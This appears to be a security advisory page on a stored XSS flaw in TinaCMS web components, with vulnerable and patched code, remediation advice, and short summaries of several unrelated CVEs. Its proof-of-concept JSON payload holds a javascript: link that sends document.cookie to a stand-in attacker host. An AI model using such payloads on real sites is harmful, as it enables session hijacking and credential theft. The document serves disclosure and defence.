Oct 10, 2026·5 min read·16 visits
Unsanitized link and image URLs in @tinacms/web-components allow content editors to inject stored cross-site scripting payloads via javascript: URIs.
A Stored Cross-Site Scripting vulnerability in @tinacms/web-components prior to version 0.2.1 allows low-privileged content authors to execute arbitrary JavaScript code in the context of website visitors via unsanitized URL attributes in custom Markdown rendering components.
CVE-2026-108260 (also tracked as GHSA-c42q-qvc3-j6vg) is a Stored Cross-Site Scripting (Stored XSS) vulnerability in @tinacms/web-components, a core web component package within the TinaCMS headless content management framework ecosystem.
TinaCMS utilizes custom web components such as <tina-markdown> to parse and render rich-text Markdown Abstract Syntax Tree (AST) structures into standard HTML DOM elements. The package handles content generated by users, editors, and automated workflows across web applications built with TinaCMS.
Prior to version 0.2.1 of @tinacms/web-components, the component failed to validate URI schemes when assigning URL properties from AST nodes to rendered HTML element attributes. As a result, low-privileged users capable of submitting or editing Markdown content can embed arbitrary JavaScript code using script-capable URI schemes such as javascript:.
When end users or platform administrators interact with rendered elements, the injected code executes directly within their active browser origin. This enables session hijacking, administrative token theft, and unauthorized background operations.
The fundamental root cause of CVE-2026-108260 lies in incomplete input neutralization across distinct content parsing branches in packages/@tinacms/web-components/src/tina-markdown.js (classified under CWE-79 and CWE-83).
While raw HTML fragments processed by the component were sanitized using DOMPurify, structured Markdown AST link nodes (node.type === 'a') and image nodes (node.type === 'img') bypassed this protection entirely. The parsing logic extracted the raw node.url value directly from the input JSON or AST object and assigned it directly to HTMLElement.href or HTMLElement.src properties.
Because standard browser DOM bindings automatically execute javascript: protocol strings assigned to anchor href attributes upon activation, the absence of scheme verification creates a direct path from untrusted AST nodes to client-side code execution.
Examination of packages/@tinacms/web-components/src/tina-markdown.js before the patch highlights the flawed conditional logic within the node renderer function:
function renderNode(node) {
const tag = getTag(node);
/** @type {HTMLElement} */
const el = document.createElement(tag);
// VULNERABLE: Direct property assignment without scheme verification
if (node.url && node.type === 'a') el.href = node.url;
if (node.url && node.type === 'img') el.src = node.url;
return el;
}To remediate this vulnerability in commit 5295e077f0d279c35686a0e481a15e33a4877e3b (PR #7523), the developers integrated the sanitizeUrl helper function from @tinacms/mdx/sanitize-url. This helper verifies that candidate URLs match an allow-list of safe protocols (http, https, mailto, tel, xref, or relative paths). If an unapproved scheme such as javascript: is passed, sanitizeUrl evaluates to an empty string "".
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
import DOMPurify from 'dompurify';
function renderNode(node) {
const tag = getTag(node);
/** @type {HTMLElement} */
const el = document.createElement(tag);
// PATCHED: URL input sanitization applied prior to DOM property assignment
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
return el;
}The fix successfully neutralizes script injection while preserving operational relative and absolute links. The inclusion of sanitizeUrl aligns @tinacms/web-components with the sanitization patterns enforced in TinaCMS React and Astro renderer implementations.
Exploitation requires low-privileged access to create or modify content handled by TinaCMS. The attacker constructs a rich-text payload containing an AST node with a malicious protocol URI.
An example JSON AST payload injected into the content store takes the following form:
{
"type": "root",
"children": [
{
"type": "a",
"url": "javascript:fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie))",
"children": [
{
"type": "text",
"text": "Click here to verify account information"
}
]
}
]
}When <tina-markdown> processes this object on a rendered public page or administrative preview, it generates the following DOM structure:
<a href="javascript:fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie))">Click here to verify account information</a>When a victim clicks the link, the browser executes the script payload in the context of the active domain, bypassing traditional input filters that only inspect raw string HTML.
The CVSS v3.1 base score for CVE-2026-108260 is 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N). The scope is evaluated as Changed (S:C) because execution shifts from content authoring to the application runtime environment.
Successful exploitation allows attackers to perform session hijacking, harvest session tokens or OAuth bearer tokens from standard web storage (localStorage and sessionStorage), perform unauthorized REST API operations on behalf of administrative users, or rewrite DOM content to phish for credentials.
> [!NOTE]
> Web applications relying on session cookies lacking the HttpOnly attribute are particularly exposed to direct cookie extraction via this mechanism.
Organizations using @tinacms/web-components should immediately upgrade to version 0.2.1 or higher. Monorepo setups managing tinacms dependencies should update the primary package to version 3.14.0 or higher.
Execute the following command in affected project workspaces:
npm install @tinacms/web-components@0.2.1In addition to package updates, engineering teams should enforce a strict Content Security Policy (CSP) header across application domains. Restricting script sources prevents execution of inline protocols (javascript:):
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';Finally, stored Markdown content in CMS repositories should be scanned for occurrences of javascript: protocol strings to identify pre-existing malicious entries.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@tinacms/web-components TinaCMS | < 0.2.1 | 0.2.1 |
tinacms TinaCMS | < 3.14.0 | 3.14.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 / CWE-83 |
| Attack Vector | Network (HTTP/HTTPS) |
| CVSS v3.1 Score | 7.6 (High) |
| Privileges Required | Low (Author / Editor) |
| User Interaction | Required (Clicking link) |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The soft/web application improperly neutralizes script and protocol attributes when rendering web content.
CVE-2026-63402 is a prototype-chain traversal and shared built-in object corruption vulnerability in the i18next internationalization framework for JavaScript prior to version 26.3.4. The flaw resides in the deepExtend utility function within src/utils.js, which uses the JavaScript 'in' operator to verify property existence on target objects. When an application passes untrusted resource bundles to i18next.addResourceBundle() with both the deep and overwrite parameters set to true, an attacker can traverse into inherited methods on Object.prototype and overwrite properties on shared built-in function objects, causing process-wide denial of service.
CVE-2026-58262 (tracked internally as KLR-04 and via GitHub Security Advisory GHSA-f9h7-4mmq-vgcq) is a cryptographic verification and consensus quorum bypass vulnerability in Klever-Go (`klever-io/klever-go`), the Go implementation of the Klever blockchain protocol. Prior to version 1.7.20, the block header signature verification logic (`HeaderSigVerifier.verifyConsensusSize`) counts all set bits across the entire `PubKeysBitmap` byte slice toward the required two-thirds validator quorum without masking or validating unused trailing padding bits in the final byte. Because the underlying Boneh-Lynn-Shacham (BLS) multi-signature verification function (`blsMultiSigner.Verify`) iterates strictly over the indices of configured validator public keys, it ignores any bits set at indices beyond the active consensus group size. When the consensus group size is not an exact multiple of 8, a compromised or malicious block producer can set these unused trailing padding bits to artificially inflate the apparent signer count by up to 7 signatures, enabling blocks with fewer genuine validator signatures than required by the protocol to pass consensus validation.
CVE-2026-77423 is a Regular Expression Denial of Service (ReDoS) vulnerability in the built-in less viewer of the JLine Java library (versions 3.0.0 prior to 3.30.15, and 4.0.0 prior to 4.3.1). The org.jline.builtins.Less class passes user-supplied search and display-filter patterns directly to Java's standard backtracking regular expression engine without complexity validation or execution timeouts. An attacker with access to an interactive JLine session can submit patterns containing nested quantifiers, causing catastrophic backtracking that consumes 100% of a CPU core and blocks the session thread indefinitely. In network-facing deployments such as SSH or Telnet administration consoles, repeated exploitation across concurrent sessions can exhaust bounded worker thread pools and result in a complete denial of service.
CVE-2026-63492 is a rejected CVE identifier originally assigned by GitHub for an OS command injection vulnerability in WWBN AVideo (formerly YouPHPTube) up to version 29.0. It was rejected as a duplicate of the canonical identifier CVE-2026-63304 (tracked under GHSA-j44m-77cc-p3cc). The flaw resides in the listFFmpegProcesses() function within plugin/API/standAlone/functions.php, which interpolates unsanitized user parameters directly into a single-quoted shell pipeline executed via PHP's exec() function. Attackers capable of crafting a valid AES-256-CBC encrypted API payload can break out of the single-quoted context and execute arbitrary operating system commands as the web-server user.
CVE-2026-63476 is an uncontrolled resource consumption vulnerability in isomorphic-git prior to version 1.38.6. When parsing Git packfile delta objects during clone or fetch operations, the applyDelta utility reads an untrusted targetSize integer from the delta stream header and passes it directly to Buffer.alloc(). A malicious remote Git server or man-in-the-middle attacker can supply a delta header specifying a targetSize of approximately 2 GB with minimal actual payload data. Because Buffer.alloc() reserves off-heap memory in Node.js, this bypasses standard V8 heap limits and results in immediate out-of-memory termination or sustained memory retention.
CVE-2026-63410 (GHSA-vp2j-gqfm-r3cf) is a compiler-induced timing side-channel vulnerability in the secp256k1-native Ruby C extension. When compiled with GCC 14.x or 15.x at optimization level -O2, the compiler reconstructs boolean predicates from branchless bitwise multiplexer routines and emits secret-dependent conditional jump instructions (je/jne). During elliptic curve scalar multiplication in the Montgomery ladder, these conditional branches create observable execution timing variations correlated with individual bits of secret private keys or signing nonces.